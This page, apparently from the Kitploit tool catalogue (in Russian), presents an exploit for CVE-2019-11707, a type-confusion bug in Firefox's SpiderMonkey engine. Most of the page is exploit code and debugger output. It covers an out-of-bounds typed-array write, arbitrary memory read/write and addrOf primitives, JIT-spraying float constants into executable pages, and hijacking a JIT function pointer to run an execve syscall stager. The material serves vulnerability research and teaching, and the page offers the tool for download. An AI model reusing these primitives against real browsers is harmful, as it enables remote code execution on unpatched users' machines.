Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2019-11707 — https://bugs.chromium.org/p/project-zero/issues/detail?id=1820 | Kitploit
Инструменты/GitHubGitHub/flabbergastedbd/cve-2019-11707
Vulnerability AnalysisExploitationShellcodeWeb Application ExploitationShellcode GenerationPayload DevelopmentBinary Exploitation
GitHubflabbergastedbd/cve-2019-11707

cve-2019-11707

https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

Репозиторий
226 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

SpiderMonkey - CVE-2019-11707

Ошибка: https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

Скриншоты

исходный код

эксплойт

Файлы

  • exploit.js — непосредственно эксплойт, к нему добавлены saelo's util.js и Int64.js.
  • stager.js — используется для создания констант, к нему добавлены saelo's util.js и Int64.js.
  • stager.py — используется для сборки инструкций с помощью keystone. Результат передаётся в stager.js.

Обзор эксплойта

  • Используйте путаницу типов для записи за пределами буфера типизированного массива (выполняется в setup()).
root@kitploit:~
const exploit_pack = [
  new Uint8Array(0x10),
  new Uint8Array(0x10), // Use this [:8] to control data pointer of below array
  new Uint8Array(0x10), // Arbitrary RW array
]
  • TLDR: Запись за пределами буфера exploit_pack[0] в поле указателя данных exploit_pack[1]. Направьте его на адрес поля указателя данных exploit_pack[2].
root@kitploit:~
      // setup()
      const v11 = v4.pop();
      const addr = v11[11];
      v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();
  • Произвольное чтение/запись возможно, адрес можно задать как содержимое exploit_pack[1], что внутренне изменяет указатель данных exploit_pack[2]. Затем используйте exploit_pack[2] для чтения или записи памяти.
root@kitploit:~
function read(ptr) {
  read_addr = new Int64(ptr);
  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = read_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // Remove 0xfffe in pointer
  // bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}

function write(ptr, value) {
  let addr = new Int64(ptr);
  let bytes = new Int64(value);

  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = addr.byteAt(idx);
  }

  for (var idx=0; idx < 8; idx++) {
    exploit_pack[2][idx] = bytes.byteAt(idx);
  }
}
  • Используя сам exploit_pack, создайте примитив addrOf.
root@kitploit:~
function addrOf(obj) {
  exploit_pack[3] = obj;

  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = leaking_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // Remove 0xfffe in pointer
  bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}
  • Выполните базовый JIT-spray, пройдите по некоторым структурам, чтобы получить указатель на JIT-функцию, найдите интересное смещение для перехода. Перезапишите фактический указатель функции этим смещением.

JIT Spray

  • Если кратко, мы можем заставить функции, подобные приведённым ниже, попасть на страницы r-x.
root@kitploit:~
const stager = function (a, b, c, d) {
  const rax = a;
  const rdi = b;
  const rsi = c;
  const rdx = d;

  const g0 = 9.073632937307107e-271;
  const g1 = 1.6063957816990143e-270;
  const g2 = 1.6082444981830348e-270;
  const g3 = 1.6100929890177583e-270;
  const g4 = 1.6119413952339954e-270;
  const g5 = 1.68020602465e-313;
}
  • После JIT это выглядит примерно так, как показано ниже. Вы можете увидеть нашу константу 0xdeadc0debaad.

JIT в действии

root@kitploit:~
gef➤  disas /r 0x0000085a6e604531,+20
Dump of assembler code from 0x85a6e604531 to 0x85a6e604545:
   0x0000085a6e604531:  49 bb 80 ad ba de c0 ad de 07   movabs r11,0x7deadc0debaad80
   0x0000085a6e60453b:  4c 89 5d a8                      mov    QWORD PTR [rbp-0x58],r11
   0x0000085a6e60453f:  49 bb c0 48 8b 44 24 28 eb 07   movabs r11,0x7eb2824448b48c0
End of assembler dump.
  • Если те же байты начинают интерпретироваться как инструкции с другого смещения, как показано ниже, всё меняется. В этом суть JIT spray.

Смещение JIT

root@kitploit:~
gef➤  disas /r 0x0000085a6e604542,+10
Dump of assembler code from 0x85a6e604542 to 0x85a6e604556:
   0x0000085a6e604542:  48 8b 44 24 28  mov    rax,QWORD PTR [rsp+0x28]
   0x0000085a6e604547:  eb 07           jmp    0x85a6e604550
End of assembler dump.
  • Идея в том, чтобы обойти байты 4c 89 5d XX 49 bb 00 с помощью 7 байт, которые мы контролируем. Мы можем перепрыгнуть через эти байты с помощью относительного jmp.
root@kitploit:~
$ rasm2 -a x86 -b 64 "jmp 7"
eb05
  • Итак, относительный jmp занимает 2 байта, у нас есть 5 байт для записи наших ассемблерных инструкций. Параметры JIT-функции доступны по смещению в стеке, когда вызывается наша функция. Поэтому наша JIT-функция принимала параметры.

регистры

  • В соответствии с соглашением о вызовах X86-64 для системных вызовов в Linux, нам нужно следующее в регистрах для системного вызова execve.
root@kitploit:~
rax: номер системного вызова
rdi: путь программы
rsi: argv
rdx: envp
  • Следующие инструкции mov — это благословение для перемещения значений из смещения в стеке в соответствующие регистры. Они ровно 5 байт.
root@kitploit:~
$ rasm2 -a x86 -b 64 "mov rdi, QWORD [rsp + 0x28]"
488b442428
  • Итак, мы можем создавать наши константы. Обратитесь к stager.py -> stager.js, чтобы увидеть, как они были сгенерированы.

  • Просто перезапишите фактический указатель JIT-функции в структуре объекта и замените его на смещение. Вызовите функцию с параметрами.

root@kitploit:~
write(jitGetter, jmpOffset);
stager(
  new Int64(59).asDouble(),
  new Int64(pathAddr).asDouble(),
  new Int64(argvBufferAddr).asDouble(),
  new Int64(environBufferAddr).asDouble());
  • Учитывая, как написан stager, легко выполнить любой системный вызов с 3 аргументами.

Очень полезные ссылки

  • https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/
  • https://doar-e.github.io/blog/2019/06/17/a-journey-into-ionmonkey-root-causing-cve-2019-9810/
  • https://vigneshsrao.github.io/writeup/
  • https://github.com/saelo/jscpwn
Скачать инструмент